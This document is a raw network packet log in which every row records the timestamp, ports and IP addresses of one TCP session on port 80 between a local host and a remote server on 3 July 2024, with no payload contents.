Jul 3, 2024 23:58:58.660753012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660754919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660768986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660778999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660784960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660797119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660801888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660804987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660820961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660828114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660845041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660859108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.661026955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.661041975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.661057949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.661070108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.661071062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.661092043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.661113977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.718779087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.718821049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.718830109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.718837976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.718861103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.718873024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.718924999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.718940973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.718956947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.718966961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.718972921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.718987942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.718996048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.719016075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.729382038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.729403973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.729420900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.729449987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.729471922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.729486942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.729492903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.729501963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.729504108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.729521990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.729540110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.729548931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.729561090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741434097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741457939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741475105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741487026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741494894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741502047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741525888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741529942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741534948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741547108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741564035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741569042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741590977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741600990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741652012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741667986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741682053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741695881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741697073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741718054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741722107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741738081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741741896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741754055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741759062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741770983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741777897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741786957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741787910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.741802931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.741830111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742067099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742084026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742110968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742122889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742218971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742234945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742249012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742260933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742264986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742280960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742281914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742291927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742299080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742307901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742316008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742322922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742335081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742346048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742486954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742502928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742518902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742527008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742533922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742547989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742551088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742557049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742568016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742575884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742583990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742588997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742602110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742604017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742619991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.742630005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742640018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.742664099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775149107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775165081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775180101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775194883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775218010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775232077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775243044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775249004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775274038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775296926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775377989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775393009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775408030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775423050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775427103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775439024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775453091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775454998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775473118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775480986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775489092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775500059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775520086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775525093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775537014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775537014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775554895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775563002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775571108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775578022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775594950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775613070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775650978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775666952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775681973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775696993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775705099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775719881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775719881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775736094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775743961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775749922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775759935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775774002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775777102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775794029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775795937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775809050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775810957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.775824070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775846004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.775854111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776112080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776144981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776160955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776160002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776179075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776185989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776194096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776197910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776212931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776216030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776227951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776237011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776246071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776256084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776262999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.776271105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776285887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.776304007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:59.031327009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:59.031388998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:59.036135912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:59.036232948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:59.036245108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:59.036258936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:59.036281109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:59.954977036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:59.955040932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:01.090049982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:01.090100050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:01.094880104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:01.094908953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:01.095391989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:01.837100029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:01.837183952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:01.851404905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:01.856368065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:02.587994099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:02.588064909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:02.945839882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:02.951356888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:03.676781893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:03.676912069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.079859018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.084743977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270078897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270096064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270107031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270112038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270123005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270133018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270149946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270160913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.270205021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.270246029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270256042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270293951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.270298958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270309925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270319939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270329952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.270339966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.270359039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.270380020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344012022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344033957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344043970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344063997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344088078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344093084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344104052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344132900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344152927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344465017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344496965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344505072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344507933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344532013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344536066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344543934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344549894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344571114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344580889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344613075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344624996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344655037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344685078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344695091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344732046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344747066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344758987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344791889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344922066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344933033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344943047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344954014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344960928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.344965935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.344995022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.345010042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.345062971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.345073938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.345083952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.345092058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.345102072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.345113039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.345140934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.345200062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.345211983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.345240116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.345252037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.355520964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.355576038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.427912951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.427956104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.427972078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.427983046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.427988052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428009987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428046942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428075075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428086996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428097010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428107023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428122044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428147078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428180933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428220987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428225994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428242922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428266048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428278923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428323030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428333998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428344965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428361893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428388119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428400993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428441048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428471088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428486109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428508997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428531885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428534031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428546906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428576946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428589106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428648949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428664923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428675890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428685904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428698063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428728104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428783894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428796053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428807020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428822994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428829908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428848028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428870916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428916931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428927898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.428957939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.428970098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.429070950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429081917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429091930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429102898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.429111004 CEST	49730	80	192.168.2.4	85.28.47.4
